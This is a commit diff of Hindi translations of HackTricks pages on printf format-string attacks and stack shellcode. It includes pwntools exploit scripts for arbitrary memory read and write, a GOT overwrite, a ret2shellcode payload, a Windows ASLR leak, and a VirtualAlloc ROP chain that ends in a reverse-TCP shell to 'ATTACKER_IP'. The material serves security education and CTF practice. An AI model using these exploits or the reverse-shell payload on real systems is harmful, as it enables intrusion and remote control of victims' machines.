Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ

This commit is contained in:
Translator 2025-08-28 17:02:41 +00:00
parent 350f7eb9c8
commit 32d92cfb0a
5 changed files with 710 additions and 456 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -3,15 +3,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## बुनियादी जानकारी
C में **`printf`** एक फ़ंक्शन है जिसका उपयोग **किसी स्ट्रिंग को प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है, वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट**। इसके बाद की **पैरामीटर** अपेक्षित हैं **कच्चे टेक्स्ट** से **फॉर्मेटर्स** को **बदलने** के लिए **मान**
C में **`printf`** एक function है जो किसी string को **प्रिंट** करने के लिए उपयोग होता है। इस function का **पहला पैरामीटर** वह **raw text होता है जिसमें formatters होते हैं**। इसके **बाद के पैरामीटर्स** वे **values** होते हैं जो raw text में मौजूद formatters को **substitute** करने के लिए दिए जाते हैं
अन्य संवेदनशील फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**।
अन्य vulnerable functions हैं **`sprintf()`** और **`fprintf()`**।
संवेदनशीलता तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने** में सक्षम होगा जो **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** की अनुमति देगा। इस तरह से **मनमाना कोड निष्पादित** करने में सक्षम होना।
यह vulnerability तब उत्पन्न होती है जब इस function के पहले argument के रूप में किसी attacker का text उपयोग किया जाता है। attacker एक विशेष input तैयार कर सकता है जो **printf format** string क्षमताओं का दुरुपयोग कर के किसी भी address से डेटा पढ़ने और किसी भी address में डेटा लिखने (पढ़ने/लिखने योग्य) की अनुमति देता है। इस तरह मनमाना कोड निष्पादित करना संभव हो जाता है।
#### Formatters:
#### फॉर्मैटर्स:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -24,7 +24,7 @@ C में **`printf`** एक फ़ंक्शन है जिसका उ
```
**उदाहरण:**
- कमजोर उदाहरण:
- असुरक्षित उदाहरण:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
@ -35,7 +35,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- गायब तर्कों के साथ:
- आर्ग्यूमेंट्स गायब होने पर:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@ -52,28 +52,28 @@ fclose(output_file);
return 0;
}
```
### **Pointers तक पहुँचना**
### **Pointers तक पहुँच**
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए, यदि आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं, तो आप कर सकते हैं:
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को बताता है कि वह stack से nवां parameter चुने। इसलिए अगर आप printf का उपयोग करके stack का चौथा param पढ़ना चाहते हैं तो आप कर सकते हैं:
```c
printf("%x %x %x %x")
```
और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं
और आप पहले से चौथे param तक पढ़ेंगे
या आप यह कर सकते हैं:
या आप ऐसा कर सकते हैं:
```c
printf("%4$x")
```
और सीधे चौथे को पढ़ें।
ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है।
ध्यान दें कि attacker `printf` **parameter, जिसका मूलतः मतलब यह है कि** उसका input `printf` के कॉल होने पर stack में होगा, और इसका मतलब है कि वह stack में specific memory addresses लिख सकता है।
> [!CAUTION]
> एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने देगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा
> इस input को नियंत्रित करने वाला attacker stack में **arbitrary address जोड़ पाएगा और `printf` को उन्हें access करवाएगा**। अगले अनुभाग में बताया जाएगा कि इस व्यवहार का उपयोग कैसे करना है
## **मनमाना पढ़ना**
## **Arbitrary Read**
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त करे, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट करे** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
यह formatter **`%n$s`** का उपयोग करके संभव है ताकि **`printf`** उस **address** को प्राप्त करे जो **n position** में स्थित है, उसे follow करे और **उसे ऐसे प्रिंट करे जैसे वह एक string हो** (0x00 मिलने तक प्रिंट करेगा). इसलिए यदि binary का base address **`0x8048000`** है, और हमें पता है कि user input stack में 4th position से शुरू होता है, तो binary के शुरुआत को प्रिंट करना संभव है:
```python
from pwn import *
@ -87,15 +87,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी।
> ध्यान दें कि आप address 0x8048000 को input की शुरुआत में नहीं रख सकते क्योंकि string उस address के अंत में 0x00 में cat हो जाएगी।
### ऑफसेट खोजें
अपने इनपुट के लिए ऑफसेट खोजने के लिए, आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
अपने offset को खोजने के लिए आप 4 या 8 bytes (`0x41414141`) भेज सकते हैं, उसके बाद **`%1$x`** और मान बढ़ाते रहें जब तक कि `A's` न मिलें।
<details>
<summary>ब्रूट फोर्स printf ऑफसेट</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -126,60 +126,61 @@ p.close()
```
</details>
### कितनी उपयोगी
### यह कितना उपयोगी है
मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है:
Arbitrary reads निम्नलिखित के लिए उपयोगी हो सकते हैं:
- **बाइनरी** को मेमोरी से **डंप** करना
- **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)
- मेमोरी से **binary** **Dump** करना
- मेमोरी के उन विशिष्ट हिस्सों तक पहुँच जहाँ संवेदनशील **info** संग्रहीत होता है (जैसे canaries, encryption keys या custom passwords जैसे इस [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **मनमाना लिखना**
## **Arbitrary Write**
ॉर्मेटर **`%<num>$n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \<num> पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने भी अक्षर लिख सकता है, वह **`%<num>$n`** को एक मनमाना संख्या को एक मनमाने पते पर लिखने में सक्षम होगा।
़ॉर्मैटर **`%<num>$n`** **लिखता है** स्टैक में <num> पैरामीटर द्वारा संकेत किए गए **निर्दिष्ट पते** में लिखी गई **बाइट्स की संख्या**। यदि कोई attacker printf के साथ जितने भी char वह चाहे लिख सकता है, तो वह **`%<num>$n`** से किसी भी पते में मनमाना मान लिखवा सकेगा।
भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसके लिए फॉर्मेटर **`%.<num-write>%<num>$n`** का उपयोग करके संख्या **`<num-write>`** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है
सौभाग्य से, संख्या 9999 लिखने के लिए इनपुट में 9999 "A" जोड़ने की आवश्यकता नहीं है; इसके लिए फ़ॉर्मैटर **`%.<num-write>%<num>$n`** का उपयोग किया जा सकता है ताकि वह संख्या **`<num-write>`** को उस **पते में लिखे जिसे `num` स्थिति सूचित करती है**
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।
हालाँकि, ध्यान दें कि आम तौर पर किसी पते जैसे `0x08049724` (जो एक साथ लिखने के लिए एक बहुत बड़ा नंबर है) को लिखने के लिए **`$hn`** का उपयोग किया जाता है, `$n` के बजाय। इससे केवल 2 Bytes ही लिखने की अनुमति मिलती है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निचले 2B के लिए।
इसलिए, यह भेद्यता **किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।**
इसलिए, यह vulnerability किसी भी address में किसी भी चीज़ को लिखने की अनुमति देती है (arbitrary write).
इस उदाहरण में लक्ष्य **GOT** टेबल में एक **function** के **address** को **overwrite** करना है, जो बाद में कॉल किया जाएगा। हालाँकि, यह अन्य arbitrary write-to-exec तकनीकों का भी दुरुपयोग कर सकता है:
इस उदाहरण में, लक्ष्य यह होगा कि **एक फ़ंक्शन** के **पते** को **ओवरराइट** किया जाए जो बाद में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **इशारा** करता है।\
जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप **पहले 2Bytes** का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए **`$hn`** का उपयोग किया जाता है।
हम एक ऐसी **function** को **overwrite** करने जा रहे हैं जो अपने **arguments** उपयोगकर्ता से प्राप्त करती है और उसे **`system`** **function** की ओर **point** कर देंगे।\
जैसा कि बताया गया, पता लिखने के लिए आम तौर पर 2 चरणों की आवश्यकता होती है: आप पहले पते के 2Bytes लिखते हैं और फिर बाकी के 2। इसके लिए **`$hn`** का उपयोग किया जाता है।
- **HOB** को पते के 2 उच्चतम बाइट्स के लिए कहा जाता है
- **LOB** को पते के 2 निम्नतम बाइट्स के लिए कहा जाता है
- **HOB** को पते के उच्च 2 bytes कहा जाता है
- **LOB** को पते के निम्न 2 bytes कहा जाता है
फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को
फिर, format string के काम करने के तरीके के कारण आपको \[HOB, LOB] में से सबसे छोटा पहले **लिखना** होगा और फिर दूसरा
यदि HOB < LOB\
If HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
यदि HOB > LOB\
If HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Template
### Pwntools टेम्पलेट
आप इस प्रकार की कमजोरियों के लिए एक **टेम्पलेट** तैयार करने के लिए पा सकते हैं:
आप इस तरह की vulnerability के लिए exploit तैयार करने हेतु एक **टेम्पलेट** पा सकते हैं:
{{#ref}}
format-strings-template.md
{{#endref}}
या [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) से यह बुनियादी उदाहरण:
या इस बुनियादी उदाहरण को [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -200,18 +201,59 @@ p.interactive()
```
## Format Strings to BOF
यह संभव है कि एक फॉर्मेट स्ट्रिंग वल्नरेबिलिटी के लिखने की क्रियाओं का दुरुपयोग करके **स्टैक के पते में लिखें** और **बफर ओवरफ्लो** प्रकार की वल्नरेबिलिटी का शोषण करें
यह संभव है कि किसी format string vulnerability की write क्रियाओं का दुरुपयोग कर के **स्टैक के एड्रेस में लिखना** और किसी **buffer overflow** प्रकार की vulnerability का exploit करना
## Other Examples & References
## Windows x64: Format-string leak to bypass ASLR (no varargs)
On Windows x64 पहले चार integer/pointer पैरामीटर RCX, RDX, R8, R9 रजिस्टरों में पास होते हैं। कई buggy call-sites में attacker-controlled string को format argument के रूप में उपयोग किया जाता है, पर कोई variadic arguments प्रदान नहीं किए जाते, उदाहरण के लिए:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
क्योंकि कोई varargs पास नहीं किए जाते, "%p", "%x", "%s" जैसे किसी भी conversion से CRT अगले variadic argument को उपयुक्त रजिस्टर से पढ़ेगा। Microsoft x64 calling convention के साथ "%p" के लिए ऐसी पहली read R9 से आती है। कॉल-साइट पर R9 में जो भी transient value होगी वह प्रिंट हो जाएगी। व्यवहार में यह अक्सर एक स्थिर in-module pointer leaks कर देता है (e.g., एक pointer जो आसपास के कोड द्वारा पहले R9 में रखा गया local/global object या कोई callee-saved value), जिसे module base को recover करने और ASLR को मात देने के लिए उपयोग किया जा सकता है।
Practical workflow:
- हमलावर-नियंत्रित स्ट्रिंग की बिल्कुल शुरुआत में '%p ' जैसा हानिरहित format inject करें ताकि पहला conversion किसी भी filtering से पहले execute हो जाए।
- leaked pointer को capture करें, module के अंदर उस object का static offset पहचानें (symbols या स्थानीय कॉपी के साथ एक बार reverse करके), और image base को `leak - known_offset` के रूप में recover करें।
- उस base का पुन: उपयोग करके ROP gadgets और IAT entries के absolute addresses रिमोटली compute करें।
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
नोट:
- घटाने के लिए सटीक offset स्थानीय reversing के दौरान एक बार पाया जाता है और फिर पुन: उपयोग किया जाता है (same binary/version).
- अगर "%p" पहली कोशिश में एक वैध pointer प्रिंट नहीं करता है, तो अन्य specifiers ("%llx", "%s") या multiple conversions ("%p %p %p") आज़माएँ ताकि अन्य argument registers/stack को sample किया जा सके।
- यह pattern Windows x64 calling convention और printf-family implementations के लिए specific है, जो जब format string उन्हें मांगती है तो मौजूद नहीं varargs को registers से fetch करती हैं।
यह technique ROP को bootstrap करने के लिए बेहद उपयोगी है, खासकर Windows services पर जो ASLR के साथ compile किए गए हों और जिनमें कोई स्पष्ट memory disclosure primitives न हों।
## अन्य उदाहरण और संदर्भ
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 बिट, कोई रिलरो, कोई कैनरी, nx, कोई पाई, स्टैक से फ्लैग लीक करने के लिए फॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं)
- 32 bit, no relro, no canary, nx, no pie, format strings का basic उपयोग stack से flag को leak करने के लिए (execution flow को बदलने की आवश्यकता नहीं)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `fflush` के पते को विन फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग
- 32 bit, relro, no canary, nx, no pie, format string का उपयोग `fflush` के address को overwrite करने के लिए ताकि win function को point किया जा सके (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए फॉर्मेट स्ट्रिंग (ताकि प्रवाह एक बार और लूप हो) और `system` के पते को GOT तालिका में लिखें जो `strlen` की ओर इशारा करता है। जब प्रवाह मुख्य में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इशारा करता है, यह पास किए गए कमांड को निष्पादित करेगा।
- 32 bit, relro, no canary, nx, no pie, format string का प्रयोग main के अंदर `.fini_array` में एक address लिखने के लिए (इससे flow एक बार और loop करेगा) और GOT table में `strlen` को point करने वाली entry में `system` का address लिखना। जब flow वापस main में जाएगा, `strlen` user input के साथ execute होगा और क्योंकि वह अब `system` को point कर रहा होगा, यह पास किए गए commands को execute कर देगा।
## संदर्भ
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## बुनियादी जानकारी
**Stack shellcode** एक तकनीक है जो **binary exploitation** में उपयोग की जाती है जहाँ एक हमलावर एक कमजोर प्रोग्राम के स्टैक पर शेलकोड लिखता है और फिर **Instruction Pointer (IP)** या **Extended Instruction Pointer (EIP)** को इस शेलकोड के स्थान की ओर मोड़ता है, जिससे यह निष्पादित होता है। यह एक क्लासिक विधि है जिसका उपयोग अनधिकृत पहुंच प्राप्त करने या लक्षित प्रणाली पर मनमाने आदेश निष्पादित करने के लिए किया जाता है। यहाँ प्रक्रिया का एक विवरण है, जिसमें एक सरल C उदाहरण और यह कैसे आप **pwntools** के साथ एक संबंधित एक्सप्लॉइट लिख सकते हैं।
**Stack shellcode** एक तकनीक है जो **binary exploitation** में इस्तेमाल होती है, जहाँ एक हमलावर vulnerable प्रोग्राम के stack पर shellcode लिखता है और फिर Instruction Pointer (IP) या Extended Instruction Pointer (EIP) को इस shellcode के पते पर बदल देता है, जिससे वह execute हो जाता है। यह लक्ष्य सिस्टम पर अनधिकृत पहुँच प्राप्त करने या arbitrary commands execute करने का एक क्लासिक तरीका है। नीचे प्रक्रिया का विवरण दिया गया है, जिसमें एक सरल C उदाहरण और यह दिखाया गया है कि आप Python के साथ **pwntools** का उपयोग करके संबंधित exploit कैसे लिख सकते हैं।
### C Example: A Vulnerable Program
### C उदाहरण: एक कमजोर प्रोग्राम
Let's start with a simple example of a vulnerable C program:
आइए एक सरल कमजोर C प्रोग्राम के उदाहरण से शुरू करें:
```c
#include <stdio.h>
#include <string.h>
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण बफ़र ओवरफ़्लो के लिए संवेदनशील है।
यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण एक buffer overflow के प्रति vulnerable है।
### संकलन
### कम्पाइ कर
इस प्रोग्राम को संकलित करने के लिए जबकि विभिन्न सुरक्षा उपायों को निष्क्रिय किया गया है (संवेदनशील वातावरण का अनुकरण करने के लिए), आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
विभिन्न सुरक्षा व्यवस्थाओं को अक्षम करते हुए (एक vulnerable environment का अनुकरण करने के लिए), आप इस प्रोग्राम को कम्पाइल करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: स्टैक सुरक्षा को अक्षम करता है।
- `-z execstack`: स्टैक को निष्पादन योग्य बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है।
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड कहाँ स्थित होगा।
- `-m32`: प्रोग्राम को 32-बिट एक्सीक्यूटेबल के रूप में संकलित करता है, जो अक्सर एक्सप्लॉइट विकास में सरलता के लिए उपयोग किया जाता है।
- `-fno-stack-protector`: Stack protection को अक्षम करता है।
- `-z execstack`: Stack को executable बनाता है, जो कि stack पर संग्रहित shellcode को execute करने के लिए आवश्यक है।
- `-no-pie`: Position Independent Executable को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारे shellcode का memory address कहाँ स्थित होगा।
- `-m32`: प्रोग्राम को 32-bit executable के रूप में compile करता है, जो अक्सर exploit development में सरलता के लिए उपयोग किया जाता है।
### Python Exploit using Pwntools
यहाँ बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले के लिए Python में एक एक्सप्लॉइट कैसे लिख सकते हैं:
यहाँ बताया गया है कि आप Python में **pwntools** का उपयोग करके एक **ret2shellcode** attack कैसे लिख सकते हैं:
```python
from pwn import *
@ -66,26 +66,97 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** और फिर **EIP** को NOP स्लाइड की ओर इशारा करने वाले पते के साथ ओवरराइट किया जाता है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए।
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
**NOP स्लाइड** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" करेगा चाहे सटीक पता कुछ भी हो। अपने बफर के प्रारंभिक पते के लिए `p32()` तर्क को समायोजित करें और NOP स्लाइड में पहुंचने के लिए एक ऑफसेट जोड़ें।
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## सुरक्षा
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो सके, या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक समान नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है।
- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के स्टैक के अंदर निष्पादन को रोक देगी क्योंकि वह क्षेत्र निष्पादन योग्य नहीं होगा।
आधुनिक Windows पर stack non-executable (DEP/NX) होता है। stack-resident shellcode को stack BOF के बाद भी execute कराने का एक सामान्य तरीका यह है कि एक 64-bit ROP chain बनाया जाए जो module की Import Address Table (IAT) से VirtualAlloc (या VirtualProtect) को कॉल करे ताकि stack का एक region executable बनाया जा सके और फिर chain के तुरंत बाद जोड़ी गई shellcode में return किया जा सके।
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → वर्तमान stack में कोई address चुनें (उदा., RSP) ताकि newly allocated RWX region आपके payload के साथ overlap करे
- RDX = dwSize → आपकी chain + shellcode के लिए पर्याप्त बड़ा (उदा., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
Example layout (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
एक सीमित gadget set के साथ, आप register values को अप्रत्यक्ष रूप से तैयार कर सकते हैं, उदाहरण के लिए:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9 को rbx से सेट करें, r8 को शून्य करें, और स्टैक को एक junk qword से समायोजित करें।
- xor rbx, rsp; ret → rbx को वर्तमान stack pointer से seed करें।
- push rbx; pop rax; mov rcx, rax; ret → RSP-derived value को RCX में move करें।
Pwntools खाका (दिए गए known base और gadgets के साथ):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
टिप्स:
- VirtualProtect समान तरीके से काम करता है यदि किसी existing buffer को RX बनाना बेहतर हो; पैरामीटर क्रम अलग होता है।
- यदि stack space तंग है, तो stack को फिर से उपयोग करने की बजाय RWX कहीं और allocate करें (RCX=NULL) और उस नए region पर jmp करें।
- ऐसे gadgets जिनसे RSP बदलता है (e.g., add rsp, 8; ret) हमेशा ध्यान में रखें और बीच में junk qwords डालें।
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** ताकि address executions के बीच भरोसेमंद रहे; अन्यथा जिस address पर function store होगा वह हमेशा एक सा नहीं होगा और आपको यह पता लगाने के लिए कुछ leak चाहिए होगा कि win function कहाँ लोड है।
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी disabled होना चाहिए वरना compromised EIP return address कभी follow नहीं होगा।
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection shellcode के stack के अंदर execution को रोक देगा क्योंकि वह region executable नहीं होगा।
## अन्य उदाहरण और संदर्भ
